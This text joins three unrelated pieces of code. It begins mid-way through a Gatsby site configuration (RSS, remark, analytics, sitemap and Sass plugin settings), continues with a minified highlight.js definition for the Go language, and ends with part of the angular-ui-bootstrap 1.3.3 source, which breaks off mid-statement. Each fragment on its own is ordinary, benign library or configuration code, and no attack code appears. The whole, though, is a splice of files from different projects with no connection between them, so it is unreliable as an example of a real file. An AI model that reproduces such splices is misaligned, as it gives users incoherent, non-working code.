edge.node.fields.slug, guid: site.siteMetadata.site_url + edge.node.fields.slug, custom_elements: [{ 'content:encoded': edge.node.html }], }) ), query: ` { allMarkdownRemark( limit: 1000, sort: { order: DESC, fields: [frontmatter___date] }, filter: { frontmatter: { layout: { eq: "post" }, draft: { ne: true } } } ) { edges { node { html fields { slug } frontmatter { title date layout draft description } } } } } `, output: '/rss.xml', }, ], }, }, { resolve: 'gatsby-transformer-remark', options: { plugins: [ { resolve: 'gatsby-remark-images', options: { maxWidth: 960, }, }, { resolve: 'gatsby-remark-responsive-iframe', options: { wrapperStyle: 'margin-bottom: 1.0725rem' }, }, 'gatsby-remark-prismjs', 'gatsby-remark-copy-linked-files', 'gatsby-remark-smartypants', ], }, }, 'gatsby-transformer-sharp', 'gatsby-plugin-sharp', { resolve: 'gatsby-plugin-google-analytics', options: { trackingId: 'UA-73379983-2' }, }, { resolve: 'gatsby-plugin-google-fonts', options: { fonts: ['roboto:400,400i,500,700'], }, }, { resolve: 'gatsby-plugin-sitemap', options: { query: ` { site { siteMetadata { url } } allSitePage( filter: { path: { regex: "/^(?!/404/|/404.html|/dev-404-page/)/" } } ) { edges { node { path } } } }`, output: '/sitemap.xml', serialize: ({ site, allSitePage }) => allSitePage.edges.map(edge => { return { url: site.siteMetadata.url + edge.node.path, changefreq: 'daily', priority: 0.7, } }), }, }, 'gatsby-plugin-offline', 'gatsby-plugin-catch-links', 'gatsby-plugin-react-helmet', { resolve: 'gatsby-plugin-sass', options: { postCssPlugins: [ lost(), pxtorem({ rootValue: 16, unitPrecision: 5, propList: [ 'font', 'font-size', 'line-height', 'letter-spacing', 'margin', 'margin-top', 'margin-left', 'margin-bottom', 'margin-right', 'padding', 'padding-top', 'padding-left', 'padding-bottom', 'padding-right', 'border-radius', 'width', 'max-width', ], selectorBlackList: [], replace: true, mediaQuery: false, minPixelValue: 0, }), ], precision: 8, }, }, ], }
hljs.registerLanguage("go",(()=>{"use strict";return e=>{const n={ keyword:"break default func interface select case map struct chan else goto package switch const fallthrough if range type continue for import return var go defer bool byte complex64 complex128 float32 float64 int8 int16 int32 int64 string uint8 uint16 uint32 uint64 int uint uintptr rune", literal:"true false iota nil", built_in:"append cap close complex copy imag len make new panic print println real recover delete" };return{name:"Go",aliases:["golang"],keywords:n,illegal:"</", contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,{className:"string", variants:[e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,{begin:"`",end:"`"}]},{ className:"number",variants:[{begin:e.C_NUMBER_RE+"[i]",relevance:1 },e.C_NUMBER_MODE]},{begin:/:=/},{className:"function",beginKeywords:"func", end:"\\s*(\\{|$)",excludeEnd:!0,contains:[e.TITLE_MODE,{className:"params", begin:/\(/,end:/\)/,keywords:n,illegal:/["']/}]}]}}})());
/* * angular-ui-bootstrap * http://angular-ui.github.io/bootstrap/ * Version: 1.3.3 - 2016-05-22 * License: MIT */angular.module("ui.bootstrap", ["ui.bootstrap.collapse","ui.bootstrap.accordion","ui.bootstrap.alert","ui.bootstrap.buttons","ui.bootstrap.carousel","ui.bootstrap.dateparser","ui.bootstrap.isClass","ui.bootstrap.datepicker","ui.bootstrap.position","ui.bootstrap.datepickerPopup","ui.bootstrap.debounce","ui.bootstrap.dropdown","ui.bootstrap.stackedMap","ui.bootstrap.modal","ui.bootstrap.paging","ui.bootstrap.pager","ui.bootstrap.pagination","ui.bootstrap.tooltip","ui.bootstrap.popover","ui.bootstrap.progressbar","ui.bootstrap.rating","ui.bootstrap.tabs","ui.bootstrap.timepicker","ui.bootstrap.typeahead"]); angular.module('ui.bootstrap.collapse', []) .directive('uibCollapse', ['$animate', '$q', '$parse', '$injector', function($animate, $q, $parse, $injector) { var $animateCss = $injector.has('$animateCss') ? $injector.get('$animateCss') : null; return { link: function(scope, element, attrs) { var expandingExpr = $parse(attrs.expanding), expandedExpr = $parse(attrs.expanded), collapsingExpr = $parse(attrs.collapsing), collapsedExpr = $parse(attrs.collapsed); if (!scope.$eval(attrs.uibCollapse)) { element.addClass('in') .addClass('collapse') .attr('aria-expanded', true) .attr('aria-hidden', false) .css({height: 'auto'}); } function expand() { if (element.hasClass('collapse') && element.hasClass('in')) { return; } $q.resolve(expandingExpr(scope)) .then(function() { element.removeClass('collapse') .addClass('collapsing') .attr('aria-expanded', true) .attr('aria-hidden', false); if ($animateCss) { $animateCss(element, { addClass: 'in', easing: 'ease', to: { height: element[0].scrollHeight + 'px' } }).start()['finally'](expandDone); } else { $animate.addClass(element, 'in', { to: { height: element[0].scrollHeight + 'px' } }).then(expandDone); } }); } function expandDone() { element.removeClass('collapsing') .addClass('collapse') .css({height: 'auto'}); expandedExpr(scope); } function collapse() { if (!element.hasClass('collapse') && !element.hasClass('in')) { return collapseDone(); } $q.resolve(collapsingExpr(scope)) .then(function() { element // IMPORTANT: The height must be set before adding "collapsing" class. // Otherwise, the browser attempts to animate from height 0 (in // collapsing class) to the given height here. .css({height: element[0].scrollHeight + 'px'}) // initially all panel collapse have the collapse class, this removal // prevents the animation from jumping to collapsed state .removeClass('collapse') .addClass('collapsing') .attr('aria-expanded', false) .attr('aria-hidden', true); if ($animateCss) { $animateCss(element, { removeClass: 'in', to: {height: '0'} }).start()['finally'](collapseDone); } else { $animate.removeClass(element, 'in', { to: {height: '0'} }).then(collapseDone); } }); } function collapseDone() { element.css({height: '0'}); // Required so that collapse works when animation is disabled element.removeClass('collapsing') .addClass('collapse'); collapsedExpr(scope); } scope.$watch(attrs.uibCollapse, function(shouldCollapse) { if (shouldCollapse) { collapse(); } else { expand(); } }); } }; }]); angular.module('ui.bootstrap.accordion', ['ui.bootstrap.collapse']) .constant('uibAccordionConfig', { closeOthers: true }) .controller('UibAccordionController', ['$scope', '$attrs', 'uibAccordionConfig', function($scope, $attrs, accordionConfig) { // This array keeps track of the accordion groups this.groups = []; // Ensure that all the groups in this accordion are closed, unless close-others explicitly says not to this.closeOthers = function(openGroup) { var closeOthers = angular.isDefined($attrs.closeOthers) ? $scope.$eval($attrs.closeOthers) : accordionConfig.closeOthers; if (closeOthers) { angular.forEach(this.groups, function(group) { if (group !== openGroup) { group.isOpen = false; } }); } }; // This is called from the accordion-group directive to add itself to the accordion this.addGroup = function(groupScope) { var that = this; this.groups.push(groupScope); groupScope.$on('$destroy', function(event) { that.removeGroup(groupScope); }); }; // This is called from the accordion-group directive when to remove itself this.removeGroup = function(group) { var index = this.groups.indexOf(group); if (index !== -1) { this.groups.splice(index, 1); } }; }]) // The accordion directive simply sets up the directive controller // and adds an accordion CSS class to itself element. .directive('uibAccordion', function() { return { controller: 'UibAccordionController', controllerAs: 'accordion', transclude: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/accordion/accordion.html'; } }; }) // The accordion-group directive indicates a block of html that will expand and collapse in an accordion .directive('uibAccordionGroup', function() { return { require: '^uibAccordion', // We need this directive to be inside an accordion transclude: true, // It transcludes the contents of the directive into the template replace: true, // The element containing the directive will be replaced with the template templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/accordion/accordion-group.html'; }, scope: { heading: '@', // Interpolate the heading attribute onto this scope panelClass: '@?', // Ditto with panelClass isOpen: '=?', isDisabled: '=?' }, controller: function() { this.setHeading = function(element) { this.heading = element; }; }, link: function(scope, element, attrs, accordionCtrl) { accordionCtrl.addGroup(scope); scope.openClass = attrs.openClass || 'panel-open'; scope.panelClass = attrs.panelClass || 'panel-default'; scope.$watch('isOpen', function(value) { element.toggleClass(scope.openClass, !!value); if (value) { accordionCtrl.closeOthers(scope); } }); scope.toggleOpen = function($event) { if (!scope.isDisabled) { if (!$event || $event.which === 32) { scope.isOpen = !scope.isOpen; } } }; var id = 'accordiongroup-' + scope.$id + '-' + Math.floor(Math.random() * 10000); scope.headingId = id + '-tab'; scope.panelId = id + '-panel'; } }; }) // Use accordion-heading below an accordion-group to provide a heading containing HTML .directive('uibAccordionHeading', function() { return { transclude: true, // Grab the contents to be used as the heading template: '', // In effect remove this element! replace: true, require: '^uibAccordionGroup', link: function(scope, element, attrs, accordionGroupCtrl, transclude) { // Pass the heading to the accordion-group controller // so that it can be transcluded into the right place in the template // [The second parameter to transclude causes the elements to be cloned so that they work in ng-repeat] accordionGroupCtrl.setHeading(transclude(scope, angular.noop)); } }; }) // Use in the accordion-group template to indicate where you want the heading to be transcluded // You must provide the property on the accordion-group controller that will hold the transcluded element .directive('uibAccordionTransclude', function() { return { require: '^uibAccordionGroup', link: function(scope, element, attrs, controller) { scope.$watch(function() { return controller[attrs.uibAccordionTransclude]; }, function(heading) { if (heading) { var elem = angular.element(element[0].querySelector(getHeaderSelectors())); elem.html(''); elem.append(heading); } }); } }; function getHeaderSelectors() { return 'uib-accordion-header,' + 'data-uib-accordion-header,' + 'x-uib-accordion-header,' + 'uib\\:accordion-header,' + '[uib-accordion-header],' + '[data-uib-accordion-header],' + '[x-uib-accordion-header]'; } }); angular.module('ui.bootstrap.alert', []) .controller('UibAlertController', ['$scope', '$attrs', '$interpolate', '$timeout', function($scope, $attrs, $interpolate, $timeout) { $scope.closeable = !!$attrs.close; var dismissOnTimeout = angular.isDefined($attrs.dismissOnTimeout) ? $interpolate($attrs.dismissOnTimeout)($scope.$parent) : null; if (dismissOnTimeout) { $timeout(function() { $scope.close(); }, parseInt(dismissOnTimeout, 10)); } }]) .directive('uibAlert', function() { return { controller: 'UibAlertController', controllerAs: 'alert', templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/alert/alert.html'; }, transclude: true, replace: true, scope: { type: '@', close: '&' } }; }); angular.module('ui.bootstrap.buttons', []) .constant('uibButtonConfig', { activeClass: 'active', toggleEvent: 'click' }) .controller('UibButtonsController', ['uibButtonConfig', function(buttonConfig) { this.activeClass = buttonConfig.activeClass || 'active'; this.toggleEvent = buttonConfig.toggleEvent || 'click'; }]) .directive('uibBtnRadio', ['$parse', function($parse) { return { require: ['uibBtnRadio', 'ngModel'], controller: 'UibButtonsController', controllerAs: 'buttons', link: function(scope, element, attrs, ctrls) { var buttonsCtrl = ctrls[0], ngModelCtrl = ctrls[1]; var uncheckableExpr = $parse(attrs.uibUncheckable); element.find('input').css({display: 'none'}); //model -> UI ngModelCtrl.$render = function() { element.toggleClass(buttonsCtrl.activeClass, angular.equals(ngModelCtrl.$modelValue, scope.$eval(attrs.uibBtnRadio))); }; //ui->model element.on(buttonsCtrl.toggleEvent, function() { if (attrs.disabled) { return; } var isActive = element.hasClass(buttonsCtrl.activeClass); if (!isActive || angular.isDefined(attrs.uncheckable)) { scope.$apply(function() { ngModelCtrl.$setViewValue(isActive ? null : scope.$eval(attrs.uibBtnRadio)); ngModelCtrl.$render(); }); } }); if (attrs.uibUncheckable) { scope.$watch(uncheckableExpr, function(uncheckable) { attrs.$set('uncheckable', uncheckable ? '' : undefined); }); } } }; }]) .directive('uibBtnCheckbox', function() { return { require: ['uibBtnCheckbox', 'ngModel'], controller: 'UibButtonsController', controllerAs: 'button', link: function(scope, element, attrs, ctrls) { var buttonsCtrl = ctrls[0], ngModelCtrl = ctrls[1]; element.find('input').css({display: 'none'}); function getTrueValue() { return getCheckboxValue(attrs.btnCheckboxTrue, true); } function getFalseValue() { return getCheckboxValue(attrs.btnCheckboxFalse, false); } function getCheckboxValue(attribute, defaultValue) { return angular.isDefined(attribute) ? scope.$eval(attribute) : defaultValue; } //model -> UI ngModelCtrl.$render = function() { element.toggleClass(buttonsCtrl.activeClass, angular.equals(ngModelCtrl.$modelValue, getTrueValue())); }; //ui->model element.on(buttonsCtrl.toggleEvent, function() { if (attrs.disabled) { return; } scope.$apply(function() { ngModelCtrl.$setViewValue(element.hasClass(buttonsCtrl.activeClass) ? getFalseValue() : getTrueValue()); ngModelCtrl.$render(); }); }); } }; }); angular.module('ui.bootstrap.carousel', []) .controller('UibCarouselController', ['$scope', '$element', '$interval', '$timeout', '$animate', function($scope, $element, $interval, $timeout, $animate) { var self = this, slides = self.slides = $scope.slides = [], SLIDE_DIRECTION = 'uib-slideDirection', currentIndex = $scope.active, currentInterval, isPlaying, bufferedTransitions = []; var destroyed = false; self.addSlide = function(slide, element) { slides.push({ slide: slide, element: element }); slides.sort(function(a, b) { return +a.slide.index - +b.slide.index; }); //if this is the first slide or the slide is set to active, select it if (slide.index === $scope.active || slides.length === 1 && !angular.isNumber($scope.active)) { if ($scope.$currentTransition) { $scope.$currentTransition = null; } currentIndex = slide.index; $scope.active = slide.index; setActive(currentIndex); self.select(slides[findSlideIndex(slide)]); if (slides.length === 1) { $scope.play(); } } }; self.getCurrentIndex = function() { for (var i = 0; i < slides.length; i++) { if (slides[i].slide.index === currentIndex) { return i; } } }; self.next = $scope.next = function() { var newIndex = (self.getCurrentIndex() + 1) % slides.length; if (newIndex === 0 && $scope.noWrap()) { $scope.pause(); return; } return self.select(slides[newIndex], 'next'); }; self.prev = $scope.prev = function() { var newIndex = self.getCurrentIndex() - 1 < 0 ? slides.length - 1 : self.getCurrentIndex() - 1; if ($scope.noWrap() && newIndex === slides.length - 1) { $scope.pause(); return; } return self.select(slides[newIndex], 'prev'); }; self.removeSlide = function(slide) { var index = findSlideIndex(slide); var bufferedIndex = bufferedTransitions.indexOf(slides[index]); if (bufferedIndex !== -1) { bufferedTransitions.splice(bufferedIndex, 1); } //get the index of the slide inside the carousel slides.splice(index, 1); if (slides.length > 0 && currentIndex === index) { if (index >= slides.length) { currentIndex = slides.length - 1; $scope.active = currentIndex; setActive(currentIndex); self.select(slides[slides.length - 1]); } else { currentIndex = index; $scope.active = currentIndex; setActive(currentIndex); self.select(slides[index]); } } else if (currentIndex > index) { currentIndex--; $scope.active = currentIndex; } //clean the active value when no more slide if (slides.length === 0) { currentIndex = null; $scope.active = null; clearBufferedTransitions(); } }; /* direction: "prev" or "next" */ self.select = $scope.select = function(nextSlide, direction) { var nextIndex = findSlideIndex(nextSlide.slide); //Decide direction if it's not given if (direction === undefined) { direction = nextIndex > self.getCurrentIndex() ? 'next' : 'prev'; } //Prevent this user-triggered transition from occurring if there is already one in progress if (nextSlide.slide.index !== currentIndex && !$scope.$currentTransition) { goNext(nextSlide.slide, nextIndex, direction); } else if (nextSlide && nextSlide.slide.index !== currentIndex && $scope.$currentTransition) { bufferedTransitions.push(slides[nextIndex]); } }; /* Allow outside people to call indexOf on slides array */ $scope.indexOfSlide = function(slide) { return +slide.slide.index; }; $scope.isActive = function(slide) { return $scope.active === slide.slide.index; }; $scope.isPrevDisabled = function() { return $scope.active === 0 && $scope.noWrap(); }; $scope.isNextDisabled = function() { return $scope.active === slides.length - 1 && $scope.noWrap(); }; $scope.pause = function() { if (!$scope.noPause) { isPlaying = false; resetTimer(); } }; $scope.play = function() { if (!isPlaying) { isPlaying = true; restartTimer(); } }; $scope.$on('$destroy', function() { destroyed = true; resetTimer(); }); $scope.$watch('noTransition', function(noTransition) { $animate.enabled($element, !noTransition); }); $scope.$watch('interval', restartTimer); $scope.$watchCollection('slides', resetTransition); $scope.$watch('active', function(index) { if (angular.isNumber(index) && currentIndex !== index) { for (var i = 0; i < slides.length; i++) { if (slides[i].slide.index === index) { index = i; break; } } var slide = slides[index]; if (slide) { setActive(index); self.select(slides[index]); currentIndex = index; } } }); function clearBufferedTransitions() { while (bufferedTransitions.length) { bufferedTransitions.shift(); } } function getSlideByIndex(index) { for (var i = 0, l = slides.length; i < l; ++i) { if (slides[i].index === index) { return slides[i]; } } } function setActive(index) { for (var i = 0; i < slides.length; i++) { slides[i].slide.active = i === index; } } function goNext(slide, index, direction) { if (destroyed) { return; } angular.extend(slide, {direction: direction}); angular.extend(slides[currentIndex].slide || {}, {direction: direction}); if ($animate.enabled($element) && !$scope.$currentTransition && slides[index].element && self.slides.length > 1) { slides[index].element.data(SLIDE_DIRECTION, slide.direction); var currentIdx = self.getCurrentIndex(); if (angular.isNumber(currentIdx) && slides[currentIdx].element) { slides[currentIdx].element.data(SLIDE_DIRECTION, slide.direction); } $scope.$currentTransition = true; $animate.on('addClass', slides[index].element, function(element, phase) { if (phase === 'close') { $scope.$currentTransition = null; $animate.off('addClass', element); if (bufferedTransitions.length) { var nextSlide = bufferedTransitions.pop().slide; var nextIndex = nextSlide.index; var nextDirection = nextIndex > self.getCurrentIndex() ? 'next' : 'prev'; clearBufferedTransitions(); goNext(nextSlide, nextIndex, nextDirection); } } }); } $scope.active = slide.index; currentIndex = slide.index; setActive(index); //every time you change slides, reset the timer restartTimer(); } function findSlideIndex(slide) { for (var i = 0; i < slides.length; i++) { if (slides[i].slide === slide) { return i; } } } function resetTimer() { if (currentInterval) { $interval.cancel(currentInterval); currentInterval = null; } } function resetTransition(slides) { if (!slides.length) { $scope.$currentTransition = null; clearBufferedTransitions(); } } function restartTimer() { resetTimer(); var interval = +$scope.interval; if (!isNaN(interval) && interval > 0) { currentInterval = $interval(timerFn, interval); } } function timerFn() { var interval = +$scope.interval; if (isPlaying && !isNaN(interval) && interval > 0 && slides.length) { $scope.next(); } else { $scope.pause(); } } }]) .directive('uibCarousel', function() { return { transclude: true, replace: true, controller: 'UibCarouselController', controllerAs: 'carousel', templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/carousel/carousel.html'; }, scope: { active: '=', interval: '=', noTransition: '=', noPause: '=', noWrap: '&' } }; }) .directive('uibSlide', function() { return { require: '^uibCarousel', transclude: true, replace: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/carousel/slide.html'; }, scope: { actual: '=?', index: '=?' }, link: function (scope, element, attrs, carouselCtrl) { carouselCtrl.addSlide(scope, element); //when the scope is destroyed then remove the slide from the current slides array scope.$on('$destroy', function() { carouselCtrl.removeSlide(scope); }); } }; }) .animation('.item', ['$animateCss', function($animateCss) { var SLIDE_DIRECTION = 'uib-slideDirection'; function removeClass(element, className, callback) { element.removeClass(className); if (callback) { callback(); } } return { beforeAddClass: function(element, className, done) { if (className === 'active') { var stopped = false; var direction = element.data(SLIDE_DIRECTION); var directionClass = direction === 'next' ? 'left' : 'right'; var removeClassFn = removeClass.bind(this, element, directionClass + ' ' + direction, done); element.addClass(direction); $animateCss(element, {addClass: directionClass}) .start() .done(removeClassFn); return function() { stopped = true; }; } done(); }, beforeRemoveClass: function (element, className, done) { if (className === 'active') { var stopped = false; var direction = element.data(SLIDE_DIRECTION); var directionClass = direction === 'next' ? 'left' : 'right'; var removeClassFn = removeClass.bind(this, element, directionClass, done); $animateCss(element, {addClass: directionClass}) .start() .done(removeClassFn); return function() { stopped = true; }; } done(); } }; }]); angular.module('ui.bootstrap.dateparser', []) .service('uibDateParser', ['$log', '$locale', 'dateFilter', 'orderByFilter', function($log, $locale, dateFilter, orderByFilter) { // Pulled from https://github.com/mbostock/d3/blob/master/src/format/requote.js var SPECIAL_CHARACTERS_REGEXP = /[\\\^\$\*\+\?\|\[\]\(\)\.\{\}]/g; var localeId; var formatCodeToRegex; this.init = function() { localeId = $locale.id; this.parsers = {}; this.formatters = {}; formatCodeToRegex = [ { key: 'yyyy', regex: '\\d{4}', apply: function(value) { this.year = +value; }, formatter: function(date) { var _date = new Date(); _date.setFullYear(Math.abs(date.getFullYear())); return dateFilter(_date, 'yyyy'); } }, { key: 'yy', regex: '\\d{2}', apply: function(value) { value = +value; this.year = value < 69 ? value + 2000 : value + 1900; }, formatter: function(date) { var _date = new Date(); _date.setFullYear(Math.abs(date.getFullYear())); return dateFilter(_date, 'yy'); } }, { key: 'y', regex: '\\d{1,4}', apply: function(value) { this.year = +value; }, formatter: function(date) { var _date = new Date(); _date.setFullYear(Math.abs(date.getFullYear())); return dateFilter(_date, 'y'); } }, { key: 'M!', regex: '0?[1-9]|1[0-2]', apply: function(value) { this.month = value - 1; }, formatter: function(date) { var value = date.getMonth(); if (/^[0-9]$/.test(value)) { return dateFilter(date, 'MM'); } return dateFilter(date, 'M'); } }, { key: 'MMMM', regex: $locale.DATETIME_FORMATS.MONTH.join('|'), apply: function(value) { this.month = $locale.DATETIME_FORMATS.MONTH.indexOf(value); }, formatter: function(date) { return dateFilter(date, 'MMMM'); } }, { key: 'MMM', regex: $locale.DATETIME_FORMATS.SHORTMONTH.join('|'), apply: function(value) { this.month = $locale.DATETIME_FORMATS.SHORTMONTH.indexOf(value); }, formatter: function(date) { return dateFilter(date, 'MMM'); } }, { key: 'MM', regex: '0[1-9]|1[0-2]', apply: function(value) { this.month = value - 1; }, formatter: function(date) { return dateFilter(date, 'MM'); } }, { key: 'M', regex: '[1-9]|1[0-2]', apply: function(value) { this.month = value - 1; }, formatter: function(date) { return dateFilter(date, 'M'); } }, { key: 'd!', regex: '[0-2]?[0-9]{1}|3[0-1]{1}', apply: function(value) { this.date = +value; }, formatter: function(date) { var value = date.getDate(); if (/^[1-9]$/.test(value)) { return dateFilter(date, 'dd'); } return dateFilter(date, 'd'); } }, { key: 'dd', regex: '[0-2][0-9]{1}|3[0-1]{1}', apply: function(value) { this.date = +value; }, formatter: function(date) { return dateFilter(date, 'dd'); } }, { key: 'd', regex: '[1-2]?[0-9]{1}|3[0-1]{1}', apply: function(value) { this.date = +value; }, formatter: function(date) { return dateFilter(date, 'd'); } }, { key: 'EEEE', regex: $locale.DATETIME_FORMATS.DAY.join('|'), formatter: function(date) { return dateFilter(date, 'EEEE'); } }, { key: 'EEE', regex: $locale.DATETIME_FORMATS.SHORTDAY.join('|'), formatter: function(date) { return dateFilter(date, 'EEE'); } }, { key: 'HH', regex: '(?:0|1)[0-9]|2[0-3]', apply: function(value) { this.hours = +value; }, formatter: function(date) { return dateFilter(date, 'HH'); } }, { key: 'hh', regex: '0[0-9]|1[0-2]', apply: function(value) { this.hours = +value; }, formatter: function(date) { return dateFilter(date, 'hh'); } }, { key: 'H', regex: '1?[0-9]|2[0-3]', apply: function(value) { this.hours = +value; }, formatter: function(date) { return dateFilter(date, 'H'); } }, { key: 'h', regex: '[0-9]|1[0-2]', apply: function(value) { this.hours = +value; }, formatter: function(date) { return dateFilter(date, 'h'); } }, { key: 'mm', regex: '[0-5][0-9]', apply: function(value) { this.minutes = +value; }, formatter: function(date) { return dateFilter(date, 'mm'); } }, { key: 'm', regex: '[0-9]|[1-5][0-9]', apply: function(value) { this.minutes = +value; }, formatter: function(date) { return dateFilter(date, 'm'); } }, { key: 'sss', regex: '[0-9][0-9][0-9]', apply: function(value) { this.milliseconds = +value; }, formatter: function(date) { return dateFilter(date, 'sss'); } }, { key: 'ss', regex: '[0-5][0-9]', apply: function(value) { this.seconds = +value; }, formatter: function(date) { return dateFilter(date, 'ss'); } }, { key: 's', regex: '[0-9]|[1-5][0-9]', apply: function(value) { this.seconds = +value; }, formatter: function(date) { return dateFilter(date, 's'); } }, { key: 'a', regex: $locale.DATETIME_FORMATS.AMPMS.join('|'), apply: function(value) { if (this.hours === 12) { this.hours = 0; } if (value === 'PM') { this.hours += 12; } }, formatter: function(date) { return dateFilter(date, 'a'); } }, { key: 'Z', regex: '[+-]\\d{4}', apply: function(value) { var matches = value.match(/([+-])(\d{2})(\d{2})/), sign = matches[1], hours = matches[2], minutes = matches[3]; this.hours += toInt(sign + hours); this.minutes += toInt(sign + minutes); }, formatter: function(date) { return dateFilter(date, 'Z'); } }, { key: 'ww', regex: '[0-4][0-9]|5[0-3]', formatter: function(date) { return dateFilter(date, 'ww'); } }, { key: 'w', regex: '[0-9]|[1-4][0-9]|5[0-3]', formatter: function(date) { return dateFilter(date, 'w'); } }, { key: 'GGGG', regex: $locale.DATETIME_FORMATS.ERANAMES.join('|').replace(/\s/g, '\\s'), formatter: function(date) { return dateFilter(date, 'GGGG'); } }, { key: 'GGG', regex: $locale.DATETIME_FORMATS.ERAS.join('|'), formatter: function(date) { return dateFilter(date, 'GGG'); } }, { key: 'GG', regex: $locale.DATETIME_FORMATS.ERAS.join('|'), formatter: function(date) { return dateFilter(date, 'GG'); } }, { key: 'G', regex: $locale.DATETIME_FORMATS.ERAS.join('|'), formatter: function(date) { return dateFilter(date, 'G'); } } ]; }; this.init(); function createParser(format, func) { var map = [], regex = format.split(''); // check for literal values var quoteIndex = format.indexOf('\''); if (quoteIndex > -1) { var inLiteral = false; format = format.split(''); for (var i = quoteIndex; i < format.length; i++) { if (inLiteral) { if (format[i] === '\'') { if (i + 1 < format.length && format[i+1] === '\'') { // escaped single quote format[i+1] = '$'; regex[i+1] = ''; } else { // end of literal regex[i] = ''; inLiteral = false; } } format[i] = '$'; } else { if (format[i] === '\'') { // start of literal format[i] = '$'; regex[i] = ''; inLiteral = true; } } } format = format.join(''); } angular.forEach(formatCodeToRegex, function(data) { var index = format.indexOf(data.key); if (index > -1) { format = format.split(''); regex[index] = '(' + data.regex + ')'; format[index] = '$'; // Custom symbol to define consumed part of format for (var i = index + 1, n = index + data.key.length; i < n; i++) { regex[i] = ''; format[i] = '$'; } format = format.join(''); map.push({ index: index, key: data.key, apply: data[func], matcher: data.regex }); } }); return { regex: new RegExp('^' + regex.join('') + '$'), map: orderByFilter(map, 'index') }; } this.filter = function(date, format) { if (!angular.isDate(date) || isNaN(date) || !format) { return ''; } format = $locale.DATETIME_FORMATS[format] || format; if ($locale.id !== localeId) { this.init(); } if (!this.formatters[format]) { this.formatters[format] = createParser(format, 'formatter'); } var parser = this.formatters[format], map = parser.map; var _format = format; return map.reduce(function(str, mapper, i) { var match = _format.match(new RegExp('(.*)' + mapper.key)); if (match && angular.isString(match[1])) { str += match[1]; _format = _format.replace(match[1] + mapper.key, ''); } var endStr = i === map.length - 1 ? _format : ''; if (mapper.apply) { return str + mapper.apply.call(null, date) + endStr; } return str + endStr; }, ''); }; this.parse = function(input, format, baseDate) { if (!angular.isString(input) || !format) { return input; } format = $locale.DATETIME_FORMATS[format] || format; format = format.replace(SPECIAL_CHARACTERS_REGEXP, '\\$&'); if ($locale.id !== localeId) { this.init(); } if (!this.parsers[format]) { this.parsers[format] = createParser(format, 'apply'); } var parser = this.parsers[format], regex = parser.regex, map = parser.map, results = input.match(regex), tzOffset = false; if (results && results.length) { var fields, dt; if (angular.isDate(baseDate) && !isNaN(baseDate.getTime())) { fields = { year: baseDate.getFullYear(), month: baseDate.getMonth(), date: baseDate.getDate(), hours: baseDate.getHours(), minutes: baseDate.getMinutes(), seconds: baseDate.getSeconds(), milliseconds: baseDate.getMilliseconds() }; } else { if (baseDate) { $log.warn('dateparser:', 'baseDate is not a valid date'); } fields = { year: 1900, month: 0, date: 1, hours: 0, minutes: 0, seconds: 0, milliseconds: 0 }; } for (var i = 1, n = results.length; i < n; i++) { var mapper = map[i - 1]; if (mapper.matcher === 'Z') { tzOffset = true; } if (mapper.apply) { mapper.apply.call(fields, results[i]); } } var datesetter = tzOffset ? Date.prototype.setUTCFullYear : Date.prototype.setFullYear; var timesetter = tzOffset ? Date.prototype.setUTCHours : Date.prototype.setHours; if (isValid(fields.year, fields.month, fields.date)) { if (angular.isDate(baseDate) && !isNaN(baseDate.getTime()) && !tzOffset) { dt = new Date(baseDate); datesetter.call(dt, fields.year, fields.month, fields.date); timesetter.call(dt, fields.hours, fields.minutes, fields.seconds, fields.milliseconds); } else { dt = new Date(0); datesetter.call(dt, fields.year, fields.month, fields.date); timesetter.call(dt, fields.hours || 0, fields.minutes || 0, fields.seconds || 0, fields.milliseconds || 0); } } return dt; } }; // Check if date is valid for specific month (and year for February). // Month: 0 = Jan, 1 = Feb, etc function isValid(year, month, date) { if (date < 1) { return false; } if (month === 1 && date > 28) { return date === 29 && (year % 4 === 0 && year % 100 !== 0 || year % 400 === 0); } if (month === 3 || month === 5 || month === 8 || month === 10) { return date < 31; } return true; } function toInt(str) { return parseInt(str, 10); } this.toTimezone = toTimezone; this.fromTimezone = fromTimezone; this.timezoneToOffset = timezoneToOffset; this.addDateMinutes = addDateMinutes; this.convertTimezoneToLocal = convertTimezoneToLocal; function toTimezone(date, timezone) { return date && timezone ? convertTimezoneToLocal(date, timezone) : date; } function fromTimezone(date, timezone) { return date && timezone ? convertTimezoneToLocal(date, timezone, true) : date; } //https://github.com/angular/angular.js/blob/622c42169699ec07fc6daaa19fe6d224e5d2f70e/src/Angular.js#L1207 function timezoneToOffset(timezone, fallback) { timezone = timezone.replace(/:/g, ''); var requestedTimezoneOffset = Date.parse('Jan 01, 1970 00:00:00 ' + timezone) / 60000; return isNaN(requestedTimezoneOffset) ? fallback : requestedTimezoneOffset; } function addDateMinutes(date, minutes) { date = new Date(date.getTime()); date.setMinutes(date.getMinutes() + minutes); return date; } function convertTimezoneToLocal(date, timezone, reverse) { reverse = reverse ? -1 : 1; var dateTimezoneOffset = date.getTimezoneOffset(); var timezoneOffset = timezoneToOffset(timezone, dateTimezoneOffset); return addDateMinutes(date, reverse * (timezoneOffset - dateTimezoneOffset)); } }]); // Avoiding use of ng-class as it creates a lot of watchers when a class is to be applied to // at most one element. angular.module('ui.bootstrap.isClass', []) .directive('uibIsClass', [ '$animate', function ($animate) { // 11111111 22222222 var ON_REGEXP = /^\s*([\s\S]+?)\s+on\s+([\s\S]+?)\s*$/; // 11111111 22222222 var IS_REGEXP = /^\s*([\s\S]+?)\s+for\s+([\s\S]+?)\s*$/; var dataPerTracked = {}; return { restrict: 'A', compile: function(tElement, tAttrs) { var linkedScopes = []; var instances = []; var expToData = {}; var lastActivated = null; var onExpMatches = tAttrs.uibIsClass.match(ON_REGEXP); var onExp = onExpMatches[2]; var expsStr = onExpMatches[1]; var exps = expsStr.split(','); return linkFn; function linkFn(scope, element, attrs) { linkedScopes.push(scope); instances.push({ scope: scope, element: element }); exps.forEach(function(exp, k) { addForExp(exp, scope); }); scope.$on('$destroy', removeScope); } function addForExp(exp, scope) { var matches = exp.match(IS_REGEXP); var clazz = scope.$eval(matches[1]); var compareWithExp = matches[2]; var data = expToData[exp]; if (!data) { var watchFn = function(compareWithVal) { var newActivated 